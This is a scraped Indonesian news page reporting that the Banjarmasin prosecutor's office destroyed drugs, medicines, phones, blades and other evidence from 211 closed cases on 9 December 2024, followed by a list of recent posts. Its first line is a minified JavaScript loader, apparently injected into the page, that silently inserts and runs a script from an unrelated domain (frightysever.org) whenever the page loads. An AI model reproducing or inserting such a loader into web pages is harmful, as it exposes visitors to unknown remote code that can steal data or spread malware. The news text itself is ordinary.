(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Kejari Banjarmasin Musnahkan Barbuk 211 Perkara Inkrah


KANALKALIMANTAN.COM, BANJARMASIN – Kejaksaan Negeri (Kejari) Banjarmasin melakukan pemusnahan barang bukti (Barbuk) dari sejumlah perkara pidana yang telah berkekuatan hukum tetap (inkrah).

Pemusnahan digelar tepat di Hari Antri Korupsi Sedunia 2024 oleh Bidang Pemulihan Aset dan Pengelolaan Barang Bukti Kejari Banjarmasin, Senin (9/12/2024).

Pemusnahan barang bukti perkara inkrah tersebut dilakukan Kepala Kejari Banjarmasin Dr Indah Laila, SH SH bersama Kepala Seksi Pemulihan Aset dan Pengelolaan Barang Bukti Samsiska Dien Ermika Syamsu SH MH dihalaman Kejari Banjarmasin.

Baca juga: Pajak dan Retribusi Daerah Banjarbaru Sentuh Angka Rp188,8 Miliar

Barang bukti yang dimusnahkan berasal dari 211 perkara periode September sampai Desember 2024.

Adapun barang bukti yang dimusnahkan terdiri dari narkotika jenis sabu 47,02 gram, ekstasi 1.214 butir, zenit atau karisoprodol 20.682 butir, ganja 1 gram, dan obat-obatan daftar G sebanyak 300 pcs.

Kemudian miras 45 botol, kosmetik 949 pot, jamu 5.099 sachet, handphone 164 buah, senjata tajam 25 bilah, dan pupuk 857 karung.

Barang bukti jenis Narkotika dimusnahkan dengan cara diblender menggunakan cairan deterjen, barang bukti obat-obatan daftar G dimasukkan ke dalam tong untuk dibakar.

Baca juga: Catatan Korupsi 2024 Kalsel: Uang Negara Terselamatkan Rp18 Milliar dari 31 Kasus

Sementara barang bukti berupa handphone, timbangan, senjata tajam, senapan laras panjang dimusnahkan dengan cara dihancurkan menggunakan mesin gerinda dan palu. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Risa

Recent Posts

Pemko Banjarbaru Raih Penghargaan Pelayanan Publik dari Ombudsman RI

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru menerima anugerah penghargaan dari Ombudsman Republik Indonesia (RI)… Read More

10 jam ago

Naik 6,5 Persen, Upah Minimum Kalsel 2025 Rp3,4 Juta

KANALKALIMANTAN.COM, BANJARMASIN - Pemerintah resmi menaikan Upah Minimum Provinsi (UMP) Kalimantan Selatan (Kalsel) pada tahun… Read More

11 jam ago

Grand Final Pemilihan Duta Baca Balangan

KANALKALIMANTAN.COM, PARINGIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Kabupaten Balangan mengelar grand final pemilihan Duta… Read More

18 jam ago

Optimalkan Fungsi Pasar Itik Alabio

KANALKALIMANTAN.COM, AMUNTAI - Polres Hulu Sungai Utara (HSU) bersama Pemerintah Kabupaten HSU melakukan peninjauan Pasar… Read More

18 jam ago

Tak Perlu Repot ke Bank, Atasi Blokir Akun BRImo Langsung dari HP!

KANALKALIMANTAN.COM - Layanan mobile banking (m-banking) milik BRI, BRImo, terus berupaya mempermudah para nasabah untuk… Read More

22 jam ago

Peringatan Hakordia 2024, Ini Kata Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru ikut berpartisipasi dalam perayaan Hari Antikorupsi Sedunia (Hakordia)… Read More

22 jam ago

This website uses cookies.